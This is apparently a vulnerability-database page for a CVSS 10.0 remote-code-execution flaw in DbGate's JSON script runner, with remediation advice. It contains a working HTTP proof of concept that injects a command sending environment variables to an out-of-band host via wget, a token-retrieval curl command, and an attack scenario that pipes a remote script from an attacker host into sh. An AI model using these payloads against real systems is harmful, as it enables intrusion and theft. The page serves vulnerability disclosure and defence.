Skip to main content

DbGate CVE-2026-47668

CRITICAL
Improper Input Validation (CWE-20)
2026-06-05 https://github.com/dbgate/dbgate GHSA-8v3q-9vmx-36vc
10.0
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 05, 2026 - 16:52 vuln.today
Analysis Generated
Jun 05, 2026 - 16:52 vuln.today
CVE Published
Jun 05, 2026 - 16:25 nvd
CRITICAL 10.0

DescriptionNVD

Summary

DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details

Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

javascript
async start({ script }, req) {
    if (script.type == 'json') {
        if (!platformInfo.isElectron) {
            if (!checkSecureDirectoriesInScript(script)) {
                return { errorMessage: 'Unallowed directories in script' };
            }
        }
        logJsonRunnerScript(req, script);
        const js = await jsonScriptToJavascript(script);
        return this.startCore(runid, scriptTemplate(js, false));
    }

This path skips:

  1. The run-shell-script permission check
  2. The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

---

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

typescript
assignCore(variableName, functionName, props) {
    this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`);
}

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

---

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

typescript
export function compileShellApiFunctionName(functionName) {
    const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
    if (nsMatch) {
        return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
    }
    return `dbgateApi.${functionName}`;
}

An attacker supplying functionName: "x;MALICIOUS_CODE;//" gets:

dbgateApi.x;MALICIOUS_CODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUS_CODE executes, and // comments out the trailing (${JSON.stringify(props)});.

---

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

javascript
const dbgateApi = require(process.env.DBGATE_API);
require = null;
async function run() {
    const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({});
    await dbgateApi.finalizer.run();
}
dbgateApi.runScript(run);
Step 5: Execution via child_process.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via child_process.fork(). This provides the attacker with a full Node.js runtime, including access to process, child_process, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via:

  • process.mainModule.require() - separate reference unaffected by the null assignment
  • module.constructor._load() - internal module loader, also unaffected

---

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

EndpointParameterFile
POST /runners/startfunctionName in assign commandsScriptWriter.ts - assignCore()
POST /runners/startvariableName in assign commandsScriptWriter.ts - assignCore()
POST /runners/load-readerfunctionName parameterScriptWriter.ts - loaderScriptTemplate

PoC

http
POST /runners/start HTTP/1.1
Host: <dbgate-instance>:3000
Authorization: Bearer <token>
Content-Type: application/json

{
  "script": {
    "type": "json",
    "commands": [
      {
        "type": "assign",
        "variableName": "x",
        "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//",
        "props": {}
      }
    ],
    "packageNames": []
  }
}

The request to the out of band host was as follows:

http
POST / HTTP/1.1
Host: <out of band host>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

NODE_VERSION=22.22.2
HOSTNAME=4714c7a7405f
YARN_VERSION=1.22.22
HOME=/root
TERM=xterm
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBGATE_API=/home/dbgate-docker/bundle.js
PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c

---

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

bash
curl -sk -H "Content-Type: application/json"   -d '{"amoid":"none"}'   <dbgate-instance>:3000/auth/login

Impact

ScenarioImpactCVSS ScoreCVSS Vector
Anonymous auth mode (default deployment) (authProvider: "Anonymous")Unauthenticated RCE10.0CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deploymentAuthenticated RCE - any user with API access9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Timeline

DateEvent
2026-03-31Vulnerability discovered
2026-04-07Advisory report prepared and submitted to maintainer
2026-04-22Fix released (v7.1.9)
2026-04-24Maintainer acknowledgment
2026-05-20Public disclosure

Acknowledgements

  • Discovery assisted by Neo from @ProjectDiscovery
  • Initial research direction inspired by @H0j3n - https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml

AnalysisAI

Unauthenticated remote code execution in DbGate (npm package dbgate-serve, versions <= 7.1.8) lets remote attackers execute arbitrary Node.js code by injecting JavaScript through the functionName parameter of the POST /runners/start JSON script runner. Default Docker deployments ship with Anonymous authentication enabled, making this exploitable without credentials (CVSS 10.0), and a public Nuclei template plus detailed PoC mean publicly available exploit code exists even though no CISA KEV listing was identified at time of analysis.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Discover exposed DbGate on port 3000
Delivery
Obtain bearer token via /auth/login (default Anonymous auth)
Exploit
POST /runners/start with malicious functionName in assign command
Install
Injected JS written to temp file and child_process.fork() executed
C2
process.mainModule.require bypasses require=null sandbox
Execute
execSync runs attacker shell command as DbGate user
Impact
Pivot to managed databases and host

Vulnerability AssessmentAI

Exploitation Required: network reachability to the DbGate HTTP API (default port 3000) and the ability to POST JSON to /runners/start with script.type == 'json' containing an assign command. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All risk signals align toward high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker scans the internet for DbGate instances on port 3000 (the publicly available runZeroInc Nuclei template automates this) and, against a default Docker deployment with Anonymous auth, optionally calls /auth/login to obtain a bearer token, then sends a single POST /runners/start with a JSON script whose assign command's functionName is `x;process.mainModule.require('child_process').execSync('curl attacker/sh|sh');//`. DbGate writes the generated JS to a temp file, forks a Node.js child process, and executes the attacker's command as the DbGate service user (root in the official container), giving full code execution and credentialed access to every database DbGate is configured to manage.
Remediation Vendor-released patch: upgrade dbgate-serve to 7.1.9 or later (https://github.com/dbgate/dbgate/releases/tag/v7.1.9), which is the only complete fix since the same unsanitised interpolation pattern affects both functionName and variableName in POST /runners/start as well as functionName in POST /runners/load-reader. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all dbgate-serve instances ≤7.1.8 and disable Anonymous authentication on each; isolate DbGate systems from untrusted networks. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-47668 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy